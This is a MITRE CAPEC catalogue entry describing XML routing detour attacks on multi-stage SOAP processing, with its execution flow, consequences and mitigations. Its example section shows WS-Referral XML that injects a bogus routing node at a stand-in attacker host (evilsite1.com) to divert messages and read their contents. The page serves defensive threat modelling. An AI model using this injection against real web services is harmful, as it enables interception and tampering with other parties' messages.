New to CAPEC? Start Here
Home > CAPEC List > CAPEC-219: XML Routing Detour Attacks (Version 3.9)  

CAPEC-219: XML Routing Detour Attacks

Attack Pattern ID: 219
Abstraction: Standard
View customized information:
+ Description
An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.
+ Likelihood Of Attack

High

+ Typical Severity

Medium

+ Relationships
Section HelpThis table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
NatureTypeIDName
ChildOfMeta Attack PatternMeta Attack Pattern - A meta level attack pattern in CAPEC is a decidedly abstract characterization of a specific methodology or technique used in an attack. A meta attack pattern is often void of a specific technology or implementation and is meant to provide an understanding of a high level approach. A meta level attack pattern is a generalization of related group of standard level attack patterns. Meta level attack patterns are particularly useful for architecture and design level threat modeling exercises.94Adversary in the Middle (AiTM)
Section HelpThis table shows the views that this attack pattern belongs to and top level categories within that view.
View NameTop Level Categories
Domains of AttackSoftware, Communications
Mechanisms of AttackSubvert Access Control
+ Execution Flow
Explore

  1. Survey the target: Using command line or an automated tool, an attacker records all instances of web services to process XML requests.

    Techniques
    Use automated tool to record all instances to process XML requests or find exposed WSDL.
    Use tools to crawl WSDL
Experiment

  1. Identify SOAP messages that have multiple state processing.: Inspect instance to see whether the XML processing has multiple stages or not.

    Techniques
    Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.
Exploit

  1. Launch an XML routing detour attack: The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).

    Techniques
    The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message
+ Prerequisites
The targeted system must have multiple stages processing of XML content.
+ Skills Required
[Level: Low]
To inject a bogus node in the XML routing table
+ Resources Required
The attacker must be able to insert or compromise a system into the processing path for the transaction.
+ Consequences
Section HelpThis table specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Modify Data
Confidentiality
Read Data
Accountability
Authentication
Authorization
Non-Repudiation
Gain Privileges
Access Control
Authorization
Bypass Protection Mechanism
+ Mitigations
Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.
Implementation: Use SSL for connections between all parties with mutual authentication.
+ Example Instances

Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).

Example SOAP message with routing information in header:
<S:Envelope>
<S:Header>
<m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
<m:action>http://example1.com/</m:action>
<m:to>http://example4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>

Add an additional node (example3.com/router) to the XML path in a WS-Referral message

<r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://example3.com/router</r:via>
</r:go>
</r:ref>
Resulting in the following SOAP Header:
<S:Envelope>
<S:Header>
<m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
<m:action>http://example1.com/</m:action>
<m:to>http://example4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example2.com/router</m:via>
<m:via>http://example3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>

Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted.

Example of WS-Referral based WS-Routing injection of the bogus node route:
<r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://evilsite1.com/router</r:via>
</r:go>
</r:ref>
Resulting XML Routing Detour attack:
<S:Envelope>
<S:Header>
<m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
<m:action>http://example_0.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example2.com/router</m:via>
<m:via>http://evilesite1.com/router</m:via>
<m:via>http://example3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>

Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).

+ Taxonomy Mappings
Section HelpCAPEC mappings to ATT&CK techniques leverage an inheritance model to streamline and minimize direct CAPEC/ATT&CK mappings. Inheritance of a mapping is indicated by text stating that the parent CAPEC has relevant ATT&CK mappings. Note that the ATT&CK Enterprise Framework does not use an inheritance model as part of the mapping to CAPEC.
Relevant to the ATT&CK taxonomy mapping (see parent)
Relevant to the WASC taxonomy mapping
Entry IDEntry Name
32Routing Detour
44XML Entity Expansion
+ References
[REF-80] "WASC Threat Classification 2.0". WASC-32 - Routing Detour. The Web Application Security Consortium (WASC). 2010. <http://projects.webappsec.org/w/page/13246956/Routing-Detour>.
[REF-81] Andre Yee. "Threat Protection in a Service Oriented World". NFR Security. <http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf>.
[REF-65] Pete Lindstrom. "Attacking & Defending Web Services". SPiRE Security. 2002. <http://www.webtorials.com/main/comnet/cn2003/web-service/24.pdf>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2014-06-23
(Version 2.6)
CAPEC Content TeamThe MITRE Corporation
Modifications
Modification DateModifierOrganization
2017-08-04
(Version 2.11)
CAPEC Content TeamThe MITRE Corporation
Updated Related_Attack_Patterns
2020-07-30
(Version 3.3)
CAPEC Content TeamThe MITRE Corporation
Updated Description, Example_Instances
2020-12-17
(Version 3.4)
CAPEC Content TeamThe MITRE Corporation
Updated Taxonomy_Mappings
2021-06-24
(Version 3.5)
CAPEC Content TeamThe MITRE Corporation
Updated Description, Example_Instances
2022-09-29
(Version 3.8)
CAPEC Content TeamThe MITRE Corporation
Updated Example_Instances
More information is available — Please select a different filter.
Page Last Updated or Reviewed: July 31, 2018
 

Use of the Common Attack Pattern Enumeration and Classification (CAPEC), and the associated references from this website are subject to the Terms of Use. Copyright © 2007–2025, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation.